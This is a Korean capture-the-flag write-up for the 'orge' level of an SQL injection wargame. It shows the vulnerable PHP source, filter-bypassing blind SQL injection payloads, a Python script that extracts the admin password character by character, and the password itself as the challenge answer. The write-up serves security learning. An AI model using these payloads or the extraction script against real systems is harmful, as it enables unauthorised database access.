문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>orge는 orc와 같은 Blind SQL Injection 문제이지만 or, and 문자열까지 필터링합니다. 따라서 or는 ||, and는 &&로 바꿔야 합니다.
exploit
비밀번호 길이 확인
?pw='||id='admin'%26%26length(pw)=8%23&&는 URL에서 파라미터 구분자인 &와 충돌하므로 %26%26으로 인코딩해야 합니다.
비밀번호 한 글자 확인
?pw='||id='admin'%26%26ascii(substr(pw,1,1))=55%23응답에 Hello admin이 있으면 조건이 참입니다.
자동화 코드
import requests
from string import ascii_lowercase, ascii_uppercase, digits
URL = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
COOKIES = {"PHPSESSID": "본인 세션 값"}
charset = digits + ascii_lowercase + ascii_uppercase
password = ""
for pos in range(1, 9):
for ch in charset:
payload = f"'||id='admin'&&ascii(substr(pw,{pos},1))={ord(ch)}#"
res = requests.get(URL, params={"pw": payload}, cookies=COOKIES)
if "Hello admin" in res.text:
password += ch
print(password)
break
print(f"password: {password}")구한 비밀번호를 그대로 입력합니다.
?pw=7b751aec주석을 공백처럼 섞은 Blind SQLi
orge도 darkelf처럼 or, and가 필터링되므로 ||, &&를 사용해야 합니다. 여기에 /**/를 넣으면 공백 없이도 조건식을 토큰 단위로 나눌 수 있습니다.
비밀번호 길이를 확인하는 payload는 다음처럼 만들 수 있습니다.
?pw='/**/||/**/id='admin'/**/%26%26/**/length(pw)=8%23URL 인코딩을 더 명확히 적용하면 다음과 같습니다.
?pw=%27%2F%2A%2A%2F||%2F%2A%2A%2Fid=%27admin%27%2F%2A%2A%2F%26%26%2F%2A%2A%2Flength(pw)=8%23한 글자씩 확인할 때도 같은 방식으로 작성할 수 있습니다.
?pw='/**/||/**/id='admin'/**/%26%26/**/ascii(substr(pw,1,1))=55%23배운 내용
orc와 같은 구조라도 필터가 추가되면 payload의 연산자 표현을 바꿔야 합니다.&&를 URL에 직접 쓰면 파라미터 구분자로 해석될 수 있으므로%26%26인코딩이 필요합니다.- 공백이 필요해 보이는 위치에는
/**/블록 주석을 토큰 구분자로 넣을 수 있습니다. - Blind SQL Injection 자동화에서는
Hello admin처럼 참일 때만 나타나는 문자열을 기준으로 응답을 판별합니다.